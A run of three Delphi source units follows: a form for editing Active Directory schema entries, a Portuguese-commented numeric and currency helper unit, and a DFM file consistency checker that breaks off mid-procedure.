FlowPanel1: TFlowPanel;
AddOptionButton: TButton;
SaveBtn: TBitBtn;
TabSheet2: TTabSheet;
ScrollBox1: TScrollBox;
GroupBoxMust: TGroupBox;
GroupBoxMay: TGroupBox;
ListBoxMust: TListBox;
ListBoxMay: TListBox;
BtnAddMust: TButton;
BtnDeleteMust: TButton;
BtnAddMay: TButton;
BtnDeleteMay: TButton;
SyntaxEdit: TComboBox;
procedure ComboBoxTypeChange(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure AddOptionButtonClick(Sender: TObject);
procedure DeleteInAddMode(Sender: TObject);
procedure DeleteInModifyMode(Sender: TObject);
procedure DeleteClick(Sender: TObject);
procedure SaveBtnClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure EditOptionalChange(Sender: TObject);
procedure BtnAddMayClick(Sender: TObject);
procedure BtnAddMustClick(Sender: TObject);
procedure BtnDeleteMustClick(Sender: TObject);
procedure BtnDeleteMayClick(Sender: TObject);
private
{ Private declarations }
optionalAttributes : TList;
availableAttributeList : TStringList;
isMayMustChanged : boolean;
procedure pvLoadData();
procedure pvSetDataByType(isAttribute : boolean);
procedure pvSetAvailableAttributes(isAttribute : boolean);
function pvGetIndexOfComboAttribute(attrName : string) : integer;
function pvGetIndexOfSyntax(syntaxID, oMSyntax : string) : integer;
function pvGetOMSyntax() : string;
function pvGetAttributeSyntax() : string;
procedure pvShowErrorDialog(errorNumb: integer; errorMsg: string);
public
{ Public declarations }
schema : ADSchema;
isModify : boolean;
entryName : string;
end;
var
AddForm: TAddForm;
implementation
{$R *.dfm}
//Error handling
procedure TAddForm.pvShowErrorDialog(errorNumb: integer; errorMsg: string);
var
errorForm : TErrorForm;
begin
errorForm := TErrorForm.Create(Application);
errorForm.SetErrorInfo(errorNumb, errorMsg);
try
errorForm.ShowModal;
finally
errorForm.Free;
end;
end;
function TAddForm.pvGetOMSyntax() : string;
begin
case SyntaxEdit.ItemIndex of
0 : result := '1';
1 : result := '10';
2 : result := '2';
3 : result := '65';
4-9 : result := '127';
10: result := '27';
11: result := '24';
12: result := '22';
13: result := '66';
14: result := '18';
15: result := '6';
16-17: result := '4';
18: result := '19';
19: result := '20';
20: result := '64';
21: result := '23';
end;
end;
function TAddForm.pvGetAttributeSyntax() : string;
begin
case SyntaxEdit.ItemIndex of
0 : result := '2.5.5.8';
1 : result := '2.5.5.9';
2 : result := '2.5.5.9';
3 : result := '2.5.5.16';
4 : result := '2.5.5.14';
5 : result := '2.5.5.7';
6 : result := '2.5.5.14';
7 : result := '2.5.5.1';
8 : result := '2.5.5.13';
9 : result := '2.5.5.10';
10: result := '2.5.5.3';
11: result := '2.5.5.11';
12: result := '2.5.5.5';
13: result := '2.5.5.15';
14: result := '2.5.5.6';
15: result := '2.5.5.2';
16: result := '2.5.5.10';
17: result := '2.5.5.17';
18: result := '2.5.5.5';
19: result := '2.5.5.4';
20: result := '2.5.5.12';
21: result := '2.5.5.11';
end;
end;
procedure TAddForm.SaveBtnClick(Sender: TObject);
var
status : ADSchemaStatus;
newEntry : ADEntry;
entryName : string;
i : integer;
temp : OptionClass;
tempiAttribute : integer;
begin
if schema = nil then
Exit;
entryName := EditName.Text;
newEntry := ADEntry.Create(entryName);
if not isModify then
// ADDING
begin
newEntry.AddAttribute('cn', [entryName]);
if ComboBoxType.ItemIndex = 0 then
begin
newEntry.AddAttribute('objectClass', ['attributeSchema']);
newEntry.AddAttribute('attributeID', [OIDEdit.Text]);
newEntry.AddAttribute('attributeSyntax', [pvGetAttributeSyntax]);
newEntry.AddAttribute('oMSyntax', [pvGetOMSyntax]);
end
else
begin
newEntry.AddAttribute('objectClass', ['classSchema']);
newEntry.AddAttribute('governsID', [OIDEdit.Text]);
end;
for i := 0 to optionalAttributes.Count - 1 do
begin
temp := OptionClass(optionalAttributes[i]);
//add optional attributes
newEntry.AddAttribute(temp.comboBox.Text, [temp.edit.Text]);
//TODO: if there are attributes with equal name then add them to value
end;
if isMayMustChanged then
begin
if ListBoxMay.Items.Count > 0 then
begin
tempiAttribute := newEntry.AddAttribute('mayContain');
for i := 0 to ListBoxMay.Items.Count - 1 do
newEntry.Attributes[tempiAttribute].AddValue(ListBoxMay.Items[i]);
end;
if ListBoxMust.Items.Count > 0 then
begin
tempiAttribute := newEntry.AddAttribute('mustContain');
for i := 0 to ListBoxMust.Items.Count - 1 do
newEntry.Attributes[tempiAttribute].AddValue(ListBoxMust.Items[i]);
end;
end;
status := schema.AddEntry(newEntry);
end
else
//MODIFYING don't touch not changed attributes
begin
for i := 0 to optionalAttributes.Count - 1 do
begin
temp := OptionClass(optionalAttributes[i]);
//add optional attributes
if temp.edit.Font.Color = clRed then
if temp.edit.Text <> temp.onLoadEditText then
newEntry.AddAttribute(temp.comboBox.Text, [temp.edit.Text]);
//TODO: if there are attributes with equal name then add them to value
end;
if isMayMustChanged then
begin
if ListBoxMay.Items.Count > 0 then
begin
tempiAttribute := newEntry.AddAttribute('mayContain');
for i := 0 to ListBoxMay.Items.Count - 1 do
newEntry.Attributes[tempiAttribute].AddValue(ListBoxMay.Items[i]);
end;
if ListBoxMust.Items.Count > 0 then
begin
tempiAttribute := newEntry.AddAttribute('mustContain');
for i := 0 to ListBoxMust.Items.Count - 1 do
newEntry.Attributes[tempiAttribute].AddValue(ListBoxMust.Items[i]);
end;
end;
status := schema.ModifyEntryAttributes(newEntry);
end;
if status.StatusType <> SuccessStatus then
begin
pvShowErrorDialog(status.StatusNumb, status.StatusMsg);
status.Free;
if newEntry <> nil then
newEntry.Destroy;
Exit;
end;
status.Free;
if newEntry <> nil then
newEntry.Destroy;
ModalResult := mrOk;
end;
procedure TAddForm.EditOptionalChange(Sender: TObject);
begin
(Sender as TEdit).Font.Color := clRed;
end;
procedure TAddForm.AddOptionButtonClick(Sender: TObject);
var
combobx : TComboBox;
editbx : TEdit;
deletebx : TSpeedButton;
i : integer;
begin
combobx := TComboBox.Create(self);
combobx.Parent := FlowPanel1;
if availableAttributeList <> nil then
begin
if availableAttributeList.Count > 0 then
begin
for i := 0 to availableAttributeList.Count - 1 do
combobx.Items.Add(availableAttributeList[i]);
combobx.ItemIndex := 0;
end;
end;
editbx := TEdit.Create(self);
editbx.Parent := FlowPanel1;
editbx.OnChange := EditOptionalChange;
deletebx := TSpeedButton.Create(self);
//set image
//deletebx.Glyph.LoadFromFile(GetCurrentDir + '/Icons/delete2322.bmp');
deletebx.Glyph.LoadFromFile(GetCurrentDir + '/Icons/delete2322.bmp');
//set click event handler
deletebx.OnClick := DeleteClick;
deletebx.Parent := FlowPanel1;
optionalAttributes.Add(OptionClass.Create(combobx, editbx, deletebx, 'hehe! Try to fit this :D'));
end;
procedure TAddForm.BtnAddMayClick(Sender: TObject);
var
selectForm : TSelectForm;
begin
selectForm := TSelectForm.Create(Application);
selectForm.schema := schema;
try
if selectForm.ShowModal = mrOk then
begin
ListBoxMay.Items.Add(selectForm.selectedValue);
isMayMustChanged := true;
end;
finally
selectForm.Free;
end;
end;
procedure TAddForm.BtnAddMustClick(Sender: TObject);
var
selectForm : TSelectForm;
begin
selectForm := TSelectForm.Create(Application);
selectForm.schema := schema;
try
if selectForm.ShowModal = mrOk then
begin
ListBoxMust.Items.Add(selectForm.selectedValue);
isMayMustChanged := true;
end;
finally
selectForm.Free;
end;
end;
procedure TAddForm.BtnDeleteMayClick(Sender: TObject);
begin
if ListBoxMay.ItemIndex <> -1 then
begin
ListBoxMay.Items.Delete(ListBoxMay.ItemIndex);
isMayMustChanged := true;
end;
end;
procedure TAddForm.BtnDeleteMustClick(Sender: TObject);
begin
if ListBoxMust.ItemIndex <> -1 then
begin
ListBoxMust.Items.Delete(ListBoxMust.ItemIndex);
isMayMustChanged := true;
end;
end;
procedure TAddForm.ComboBoxTypeChange(Sender: TObject);
begin
if ComboBoxType.ItemIndex = 1 then
begin
pvSetDataByType(false);
pvSetAvailableAttributes(false);
end
else
begin
pvSetDataByType(true);
pvSetAvailableAttributes(true);
end;
end;
procedure TAddForm.DeleteClick(Sender: TObject);
begin
if schema = nil then
Exit;
if isModify then
DeleteInModifyMode(Sender)
else
DeleteInAddMode(Sender);
end;
procedure TAddForm.DeleteInAddMode(Sender: TObject);
var
i : integer;
temp : OptionClass;
begin
//remove from form
for i := 0 to optionalAttributes.Count - 1 do
begin
if OptionClass(optionalAttributes[i]).deleteBtn = Sender then
begin
temp := OptionClass(optionalAttributes[i]);
temp.comboBox.Free;
temp.edit.free;
temp.deleteBtn.Free;
temp.Free;
optionalAttributes.Delete(i);
Break;
end;
end;
end;
procedure TAddForm.DeleteInModifyMode(Sender: TObject);
var
i : integer;
temp : OptionClass;
attrName, attrValue, entryName : string;
status : ADSchemaStatus;
begin
//remove from form
for i := 0 to optionalAttributes.Count - 1 do
begin
if OptionClass(optionalAttributes[i]).deleteBtn = Sender then
begin
temp := OptionClass(optionalAttributes[i]);
attrName := temp.comboBox.Text;
attrValue := temp.edit.Text;
entryName := EditName.Text;
//call api
status := schema.DeleteEntryAttributes(entryName, [attrName]);
if status.StatusNumb <> 16 then
if status.StatusType <> SuccessStatus then
begin
pvShowErrorDialog(status.StatusNumb, status.StatusMsg);
status.free;
Break;
end;
status.free;
temp.comboBox.Free;
temp.edit.free;
temp.deleteBtn.Free;
temp.Free;
optionalAttributes.Delete(i);
Break;
end;
end;
end;
procedure TAddForm.FormClose(Sender: TObject; var Action: TCloseAction);
var
i : integer;
begin
if optionalAttributes.Count > 0 then
for i := 0 to optionalAttributes.Count - 1 do
OptionClass(optionalAttributes[i]).Free;
optionalAttributes.Free;
availableAttributeList.Free;
end;
procedure TAddForm.FormCreate(Sender: TObject);
begin
availableAttributeList := TStringList.Create;
optionalAttributes := TList.Create;
end;
procedure TAddForm.FormShow(Sender: TObject);
begin
isMayMustChanged := false;
pvSetDataByType(true);
pvSetAvailableAttributes(true);
if isModify then
begin
Caption := 'Modify';
pvLoadData;
EditName.Enabled := false;
ComboBoxType.Enabled := false;
OIDEdit.Enabled := false;
SyntaxEdit.Enabled := false;
//oMSyntaxEdit.Enabled := false;
BtnAddMust.Visible := false;
BtnDeleteMust.Visible := false;
end;
end;
function TAddForm.pvGetIndexOfSyntax(syntaxID, oMSyntax : string) : integer;
var
typeName : string;
begin
case StrToInt(oMSyntax) of
127 :
begin
//Object(Access-Point) 2.5.5.14
if syntaxID = '2.5.5.14' then
result := 4
//Object(DN-Binary) 2.5.5.7
//Object(OR-Name) 2.5.5.7
else if syntaxID = '2.5.5.7' then
result := 5
//Object(DN-String) 2.5.5.14
else if syntaxID = '2.5.5.14' then
result := 6
//Object(DS-DN) 2.5.5.1
else if syntaxID = '2.5.5.1' then
result := 7
//Object(Presentation-Address) 2.5.5.13
else if syntaxID = '2.5.5.13' then
result := 8
//Object(Replica-Link) 2.5.5.10
else
result := 9;
end;
1 :
begin
//Boolean
result := 0;
end;
10 :
begin
//Enumeration
result := 1;
end;
2 :
begin
//Integer
result := 2;
end;
65 :
begin
//Interval 2.5.5.16
//LargeInteger 2.5.5.16
result := 3;
end;
27 :
begin
//string(case-sensetive)
result := 10;
end;
24 :
begin
//String(Generalized-Time)
result := 11;
end;
22 :
begin
//String(IA5)
result := 12;
end;
66 :
begin
//String(NT-Sec-Desc)
result := 13;
end;
18 :
begin
//String(Numeric)
result := 14;
end;
6 :
begin
//String(Object-Identifier)
result := 15;
end;
4 :
begin
if syntaxID = '2.5.5.10' then
//String(Octet) 2.5.5.10
result := 16
else
//String(Sid) 2.5.5.17
result := 17;
end;
19 :
begin
//String(Printable)
result := 18;
end;
20 :
begin
//String(Teletex)
result := 19;
end;
64 :
begin
//String(Unicode)
result := 20;
end;
23 :
begin
//String(UTC-Time)
result := 21;
end;
end;
end;
procedure TAddForm.pvLoadData();
var
entries : ADEntryList;
entry : ADEntry;
status : ADSchemaStatus;
temp : ADAttribute;
temp1 : ADAttribute;
iTemp : integer;
iAttribute : integer;
lAttributesBox : TComboBox;
lAttrValueEdit : TEdit;
lAttrDelete : TSpeedButton;
i : integer;
begin
if schema = nil then
Exit;
//Load modify Data entry
entries := schema.GetEntries('(cn=' + entryName + ')', [], status);
if status.StatusType <> SuccessStatus then
begin
pvShowErrorDialog(status.StatusNumb, status.StatusMsg);
status.free;
if entries <> nil then
entries.Destroy;
Exit;
end;
status.free;
if entries = nil then
begin
pvShowErrorDialog(999, 'Cant load the entry data');
Exit;
end;
if entries.EntriesCount > 0 then
entry := entries.Items[0]
else
begin
pvShowErrorDialog(999, 'Cant load the entry data');
entries.Destroy;
Exit;
end;
EditName.Text := entry.Name;
temp := entry.GetAttributeByName('objectClass');
if temp <> nil then
begin
if temp.ValuesCount > 0 then
begin
iTemp := temp.SearchValue('attributeSchema');
if iTemp <> -1 then
begin
ComboBoxType.ItemIndex := 0;
pvSetDataByType(true);
pvSetAvailableAttributes(true);
temp := entry.GetAttributeByName('attributeID');
if temp <> nil then
begin
if temp.ValuesCount > 0 then
OIDEdit.Text := temp.Values[0];
entry.DeleteAttribute('attributeID');
end;
temp := entry.GetAttributeByName('oMSyntax');
if temp <> nil then
begin
if temp.ValuesCount > 0 then
begin
temp1 := entry.GetAttributeByName('attributeSyntax');
if temp1 <> nil then
begin
if temp1.ValuesCount > 0 then
begin
SyntaxEdit.ItemIndex := pvGetIndexOfSyntax(temp1.Values[0], temp.Values[0]);
end;
entry.DeleteAttribute('attributeSyntax');
end;
end;
entry.DeleteAttribute('oMSyntax');
end;
end
else
begin
ComboBoxType.ItemIndex := 1;
pvSetDataByType(false);
pvSetAvailableAttributes(false);
temp := entry.GetAttributeByName('governsID');
if temp <> nil then
begin
if temp.ValuesCount > 0 then
OIDEdit.Text := temp.Values[0];
entry.DeleteAttribute('governsID');
end;
end;
end;
entry.DeleteAttribute('objectClass');
end;
//other attributes
for iAttribute := 0 to entry.AttributesCount - 1 do
begin
temp := entry.Attributes[iAttribute];
if ((temp.Name = 'mustContain') or (temp.Name = 'systemMustContain')) then
begin
if temp.ValuesCount > 0 then
for i := 0 to temp.ValuesCount - 1 do
ListBoxMust.Items.Add(temp.Values[i]);
end;
if ((temp.Name = 'mayContain') or (temp.Name = 'systemMayContain')) then
begin
if temp.ValuesCount > 0 then
for i := 0 to temp.ValuesCount - 1 do
ListBoxMay.Items.Add(temp.Values[i]);
end;
lAttributesBox := TComboBox.Create(self);
lAttributesBox.Parent := FlowPanel1;
if availableAttributeList <> nil then
begin
if availableAttributeList.Count > 0 then
begin
for i := 0 to availableAttributeList.Count - 1 do
lAttributesBox.Items.Add(availableAttributeList[i]);
iTemp := pvGetIndexOfComboAttribute(temp.Name);
if iTemp <> -1 then
lAttributesBox.ItemIndex := 0
else lAttributesBox.Text := temp.Name;
end;
end;
lAttrValueEdit := TEdit.Create(self);
lAttrValueEdit.Parent := FlowPanel1;
//TODO: if attribute is multiValued
if temp.ValuesCount > 0 then
lAttrValueEdit.Text := temp.Values[0];
lAttrValueEdit.OnChange := EditOptionalChange;
lAttrDelete := TSpeedButton.Create(self);
//set image
lAttrDelete.Glyph.LoadFromFile(GetCurrentDir + '/Icons/delete2322.bmp');
//set click event handler
lAttrDelete.OnClick := DeleteClick;
lAttrDelete.Parent := FlowPanel1;
optionalAttributes.Add(OptionClass.Create(lAttributesBox, lAttrValueEdit, lAttrDelete, lAttrValueEdit.Text));
end;
end;
function TAddForm.pvGetIndexOfComboAttribute(attrName : string) : integer;
var
i : integer;
begin
result := -1;
if availableAttributeList.Count > 0 then
for i := 0 to availableAttributeList.Count - 1 do
if availableAttributeList[i] = attrName then
result := i;
end;
procedure TAddForm.pvSetDataByType(isAttribute : boolean);
begin
if isAttribute then
begin
OIDLabel.Caption := 'attributeID';
SyntaxLabel.Visible := true;
SyntaxEdit.Visible := true;
//oMSyntaxLabel.Visible := true;
//oMSyntaxEdit.Visible := true;
TabSheet2.TabVisible := false;
end
else
begin
OIDLabel.Caption := 'governsID';
SyntaxLabel.Visible := false;
SyntaxEdit.Visible := false;
//oMSyntaxLabel.Visible := false;
//oMSyntaxEdit.Visible := false;
TabSheet2.TabVisible := true;
end;
end;
procedure TAddForm.pvSetAvailableAttributes(isAttribute : boolean);
var
entries : ADEntryList;
status : ADSchemaStatus;
iEntry, iAttribute, iValue : integer;
temp : string;
begin
availableAttributeList.Clear;
if schema = nil then
Exit;
//Load item list
if isAttribute then
begin
entries := schema.GetEntries('(|(cn=top)(cn=attributeSchema))',
['mustContain', 'mayContain', 'systemMustContain', 'systemMayContain'],
status);
end else
begin
entries := schema.GetEntries('(|(cn=top)(cn=classSchema))',
['mustContain', 'mayContain', 'systemMustContain', 'systemMayContain'],
status);
end;
if status.StatusType <> SuccessStatus then
begin
pvShowErrorDialog(status.StatusNumb, status.StatusMsg);
status.free;
entries.destroy;
Exit;
end;
status.free;
if entries = nil then
Exit;
//Set to available attributes except mayContain, mustContain
for iEntry := 0 to entries.EntriesCount - 1 do
begin
for iAttribute := 0 to entries.Items[iEntry].AttributesCount - 1 do
begin
for iValue := 0 to entries.Items[iEntry].Attributes[iAttribute].ValuesCount - 1 do
begin
temp := entries.Items[iEntry].Attributes[iAttribute].Values[iValue];
if ((temp <> 'mustContain')
and (temp <> 'mayContain')
and (temp <> 'systemMustContain')
and (temp <> 'systemMayContain')) then
availableAttributeList.Add(temp);
end;
end;
end;
end;
{ OptionClass }
constructor OptionClass.Create(cbx: TComboBox; ed: TEdit; dbtn: TSpeedButton; onLoadText : string);
begin
comboBox := cbx;
edit := ed;
deleteBtn := dbtn;
onLoadEditText := onLoadText;
end;
end.
|
unit uNumericFunctions;
interface
uses Sysutils, Math, Windows, uSystemTypes;
function ValidateFloat(cKey:Char):Char;
function ValidateCurrency(cKey:Char):Char;
function MyStrToFloat(strValue : String) : Extended;
function MyStrToCurrency( strValue : String) : Currency;
function MyStrToInt(strValue : String) : Integer;
function MyFloatToStr(Value : Double) : String;
function HasOperator(strValue : String) : Boolean;
function MyRound(Valor : Double; DecimalPlaces : Integer) : Double;
function AsloToFloat(Aslo: String): Double;
procedure IncFloat(var IncDef : Double; Value : Double);
function RetiraSepadorMilhar(StrValue: String): String;
function MyFormatCur(Value:Double;Decimal:Char):String;
function MyStrToMoney( strValue:String) : Currency;
// Funcao que calcula a combinacao de moedas para o Caixa
procedure CountToDesired(var aCaixa : TCaixa; TotCash, ValDesired : Double);
implementation
uses xBase;
function MyStrToMoney(strValue:String) : Currency;
var
OldDecimalSeparator: Char;
begin
if Trim(strValue) = '' then
begin
Result := 0;
Exit;
end;
try
OldDecimalSeparator := DecimalSeparator;
DecimalSeparator := '.';
if OldDecimalSeparator = ',' then
begin
strValue := StringReplace(strValue,'.','',[rfReplaceAll ]);
strValue := StringReplace(strValue,',','.',[rfReplaceAll ]);
end
else
strValue := StringReplace(strValue,',','',[rfReplaceAll ]);
try
Result := StrToCurr(strValue);
except
Result := 0;
end;
finally
DecimalSeparator := OldDecimalSeparator;
end;
end;
function MyFormatCur(Value:Double;Decimal:Char):String;
var
OldDecimalSeparator: Char;
begin
OldDecimalSeparator := DecimalSeparator;
DecimalSeparator := Decimal;
Result := FormatCurr('0.00',Value);
DecimalSeparator := OldDecimalSeparator;
end;
function ValidateCurrency(cKey:Char):Char;
begin
if not (cKey IN ['0'..'9','-','.',',',#8]) then
begin
Result:=#0;
MessageBeep($FFFFFFFF);
end
else
Result:=cKey;
end;
function ValidateFloat(cKey:Char):Char;
begin
if not (cKey IN ['0'..'9','-','.',#8]) then
begin
Result:=#0;
MessageBeep($FFFFFFFF);
end
else
Result:=cKey;
end;
function MyStrToCurrency( strValue : String) : Currency;
begin
if Trim(strValue) = '' then
begin
Result := 0;
Exit;
end;
try
Result := StrToCurr(strValue);
except
Result := 0;
end;
end;
function MyStrToFloat(strValue : String) : Extended;
begin
if Trim(strValue) = '' then
begin
Result := 0;
Exit;
end;
try
Result := StrToFloat(strValue);
except
Result := 0;
end;
end;
function MyStrToInt(strValue : String) : Integer;
begin
if Trim(strValue) = '' then
begin
Result := 0;
Exit;
end;
try
Result := StrToInt(strValue);
except
Result := 0;
end;
end;
function MyFloatToStr(Value : Double) : String;
begin
Result := FormatFloat('0.00', Value);
end;
function HasOperator(strValue : String) : Boolean;
begin
Result := ( Pos('>', strValue) > 0 ) or ( Pos('<', strValue) > 0 ) or
( Pos('=', strValue) > 0 );
end;
function MyRound(Valor : Double; DecimalPlaces : Integer) : Double;
var
SubValue : Double;
begin
SubValue := Power(10, DecimalPlaces);
Result := (Round(Valor * SubValue))/SubValue;
end;
function AsloToFloat(Aslo: String): Double;
var
F, Str: String;
P: Integer;
First: Boolean;
begin
// A S L O B E R U T I
// 1 2 3 4 5 6 7 8 9 0
// Esta função deverá ser muito foda mesmo.
// Deverá adivinhar se o sepador de decimal e o ponto ou a virgual.
// Tudo por causa do MEDIDATA irgh !!!!
// Se tiver um só separador, ele é o decimal
// Se existirem vários então o decimal é o ultimo
Str := Trim(Aslo);
P := Length(Str);
First := True;
while P > 0 do
begin
case Str[P] of
'/': Break;
'A': F := '1' + F;
'S': F := '2' + F;
'L': F := '3' + F;
'O': F := '4' + F;
'B': F := '5' + F;
'E': F := '6' + F;
'R': F := '7' + F;
'U': F := '8' + F;
'T': F := '9' + F;
'I': F := '0' + F;
',', '.':
begin
if First then
begin
F := '.' + F;
First := False;
end;
end;
end;
P := P - 1;
end;
Result := MyStrToFloat(F);
end;
procedure IncFloat(var IncDef : Double;
Value : Double);
begin
IncDef := IncDef + Value;
end;
function RetiraSepadorMilhar(StrValue: String): String;
var
VPos, PPos: Integer;
RealValue: String;
begin
VPos := POS(',', StrValue);
PPos := POS('.', StrValue);
if (VPos <> 0) AND (PPos <> 0) then
begin
// tenho separador de milhar e decimal
// O ultimo é o decimal
if VPos > PPos then
begin
// Tenho que retirar o ponto
RealValue := LeftStr(StrValue, PPos-1) + RightStr(StrValue, Length(StrValue) - PPos);
end
else
begin
// Tenho que retirar a virgula
RealValue := LeftStr(StrValue, VPos-1) + RightStr(StrValue, Length(StrValue) - VPos);
end;
end
else
RealValue := StrValue;
Result := RealValue;
end;
procedure CountToDesired(var aCaixa : TCaixa; TotCash, ValDesired : Double);
var
i, DivNota, OldCaixa : integer;
SubTot, SubValor, TotRestante : Double;
MyNota : Double;
begin
// Alimenta os totais de notas para chegar no valor mais proximo do Desired
SubTot := 0;
// Percorre os totais vendo se a parte menor ainda e maior que ValDesired
for i := 0 to High(aCaixa) do
begin
SubValor := aCaixa[i]*aCaixaPotencia[i];
TotRestante := TotCash - SubTot - SubValor;
OldCaixa := aCaixa[i];
if TotRestante > ValDesired then
begin
// Total de notas restantes ainda e maior que o contado, nao pega nada
aCaixa[i] := 0;
end
else
begin
// Total de notas restantes nao e maior que o contado, pega o minimo possivel
DivNota := Trunc((ValDesired - TotRestante)/aCaixaPotencia[i]);
MyNota := DivNota;
// Teste de divisao sem erro
if Abs(MyNota -
((ValDesired - TotRestante)/aCaixaPotencia[i])) < 0.001 then
aCaixa[i] := Abs(DivNota)
else if (DivNota+1) < aCaixa[i] then
aCaixa[i] := Abs(DivNota+1);
end;
SubTot := SubTot + (OldCaixa-aCaixa[i])*aCaixaPotencia[i];
end;
end;
end.
|
unit uFormCheckDFM;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StrUtils, ExtCtrls, ComCtrls, Buttons, StdCtrls;
type
TFormCheckDfm = class(TForm)
mmResumo: TMemo;
pbProgresso: TProgressBar;
PnSuperior: TPanel;
Label1: TLabel;
edCaminho: TEdit;
btCheca: TButton;
btnCaminho: TSpeedButton;
procedure btChecaClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure btnCaminhoClick(Sender: TObject);
private
{ Private declarations }
fPosAtual: Integer;
fTotal: Integer;
Function ExisteObjetosDuplicados(aDFM: TStringList): Boolean;
Function LinhaReferenteAObjeto(aEspacos: String; aLinha: String; aVerificaNiveisMenores: Boolean = False): Boolean;
Function LinhaReferenteAEnd(aNivelIdentacao: Integer; aLinha: String; aVerificaNiveisMenores: Boolean = False): Boolean;
Function QuebrasDeEnd(aDFM: TStringList): Boolean;
procedure AdicionaSeparador;
procedure IncrementaProgressBar;
procedure VarreDFM;
public
{ Public declarations }
end;
var
FormCheckDfm: TFormCheckDfm;
Const
cINH = 'INHERITED';
cOBJ = 'OBJECT';
ResourceString
rEndNaoEncontrado = 'Não foi achado o End do Objeto no nível %d';
rInicio = 'Inicio: %s, Linha: %d';
rEncontrado = 'Não foi encontrado o End na linha %d, encontrado: %s';
rObjetoEmNivelInferior = 'O Objeto %s, foi encontrado em um nível inferior a identacao ideal (%d)';
rObjetoDuplicado = 'O Objeto %s, esta duplicado nas linhas %d e %d';
implementation
{$R *.dfm}
{ TFormCheckDfm }
procedure TFormCheckDfm.AdicionaSeparador;
begin
mmResumo.Lines.Add('');
mmResumo.Lines.Add(DupeString('-=', 40));
end;
procedure TFormCheckDfm.btChecaClick(Sender: TObject);
begin
VarreDFM;
end;
function TFormCheckDfm.ExisteObjetosDuplicados(aDFM: TStringList): Boolean;
var
I, X, vPosicao: Integer;
vObjeto: String;
begin
Result := False;
for I := 0 to aDFM.Count -1 do //Busca o inicio de objetos
begin
IncrementaProgressBar;
vPosicao := Pos(cOBJ, UpperCase(aDFM.Strings[I]));
if vPosicao = 0 then
vPosicao := Pos(cINH, UpperCase(aDFM.Strings[I]));
if vPosicao > 0 then
begin
vObjeto := UpperCase(TrimLeft(aDFM.Strings[I]));
for X := I+1 to aDFM.Count -1 do //Busca a partir do Objeto Posicionado em I se existe outro igual
begin
if Pos(vObjeto, Uppercase(aDFM.Strings[X])) > 0 then
begin
mmResumo.Lines.Add(Format(rObjetoDuplicado, [vObjeto, I+1, X+1]));
AdicionaSeparador;
Result := True;
end;
end;
end;
end;
end;
procedure TFormCheckDfm.FormShow(Sender: TObject);
begin
if ParamCount > 0 then
begin
edCaminho.Text := ParamStr(1);
VarreDFM;
end;
end;
procedure TFormCheckDfm.IncrementaProgressBar;
begin
Inc(fPosAtual);
pbProgresso.Position := Round((fPosAtual/fTotal)*100);
end;
function TFormCheckDfm.LinhaReferenteAEnd(aNivelIdentacao: Integer; aLinha: String; aVerificaNiveisMenores: Boolean = False): Boolean;
var
vCompara: String;
vNivelIdentacao: Integer;
I: Integer;
begin
vCompara := UpperCase(aLinha);
vNivelIdentacao := aNivelIdentacao;
Result := AnsiStartsStr(DupeString(' ', aNivelIdentacao)+'END', vCompara); //Nivel da identação
if aVerificaNiveisMenores
and not Result
and (vNivelIdentacao > 0)
and (Pos('END', vCompara) > 0) then
begin
repeat
Dec(vNivelIdentacao);
Result := AnsiStartsStr(DupeString(' ', vNivelIdentacao)+'END', vCompara);
until (Result) or (vNivelIdentacao = 0);
end;
end;
function TFormCheckDfm.LinhaReferenteAObjeto(aEspacos: String; aLinha: String; aVerificaNiveisMenores: Boolean = False): Boolean;
var
vCompara: String;
vEspacosMenores: String;
begin
vCompara := UpperCase(aLinha);
Result := AnsiStartsStr(aEspacos+cOBJ, vCompara) or AnsiStartsStr(aEspacos+cINH, vCompara);
if aVerificaNiveisMenores
and not Result
and (Length(aEspacos) >= 2)
and ((Pos(cOBJ,vCompara ) > 0) or (Pos(cINH,vCompara ) > 0)) then
begin
vEspacosMenores := aEspacos;
repeat
Delete(vEspacosMenores, 1, 2); //Diminui identação
if AnsiStartsStr(vEspacosMenores+cOBJ, vCompara)
or AnsiStartsStr(vEspacosMenores+cINH, vCompara) then
begin
mmResumo.Lines.Add(format(rObjetoEmNivelInferior, [TrimLeft(vCompara), Round(Length(aEspacos)/2)]));
AdicionaSeparador;
Result := True;
end;
until Result or (Length(vEspacosMenores) = 0);
end;
end;
function TFormCheckDfm.QuebrasDeEnd(aDFM: TStringList): Boolean;
var
vUltiomoInicio: Integer;
I:Integer;
X:Integer;
vNivelAtual: Integer;
vPosicao: Integer;
vSpacos: String;
begin
Result := False;
for I := 0 to aDFM.Count -1 do //Busca o inicio de objetos
begin
IncrementaProgressBar;
vPosicao := Pos(cOBJ, UpperCase(aDFM.Strings[I]));
if vPosicao = 0 then
vPosicao := Pos(cINH, UpperCase(aDFM.Strings[I]));
if vPosicao > 0 then
begin
vNivelAtual := Round((vPosicao-1)/2);//Nivel de identação
for X := I+1 to aDFM.Count -1 do //Busca o end referente ao objeto 'I'
begin
vSpacos := DupeString(' ', vNivelAtual); //Espaços referentes a identação
if LinhaReferenteAObjeto(vSpacos, aDFM.Strings[X], true) then
begin
mmResumo.Lines.Add(Format(rEndNaoEncontrado, [vNivelAtual]));
mmResumo.Lines.Add(Format(rInicio, [TrimLeft(aDFM.Strings[I]), I+1]));
mmResumo.Lines.Add(format(rEncontrado, [X+1, TrimLeft(aDFM.Strings[X])]));
AdicionaSeparador;
Result := True;
end;
if LinhaReferenteAEnd(vNivelAtual, aDFM.Strings[X]) then
begin
Break;
end;
end;
end;
end;
end;
procedure TFormCheckDfm.btnCaminhoClick(Sender: TObject);
var
openDialog : TOpenDialog;
begin
openDialog := TOpenDialog.Create(nil);
openDialog.Filter := 'Delphi Form|*.dfm';
try
if openDialog.Execute then
edCaminho.Text := openDialog.FileName;
finally
FreeAndNil(openDialog);
end;
end;
procedure TFormCheckDfm.VarreDFM;
var
vDFM: TStringList;
begin
pbProgresso.Position := 0;
fPosAtual := 0;
mmResumo.Lines.Clear;
Application.ProcessMessages;
vDFM := TStringList.Create;
try
if FileExists(edCaminho.Text) then
begin
vDFM.LoadFromFile(edCaminho.Text);
fTotal := vDFM.Count * 2; //Dois Loops pelo arquivo
end
else
begin
mmResumo.Lines.Add('Arquivo não encontrado');
Exit;
end;
if not QuebrasDeEnd(vDFM) then
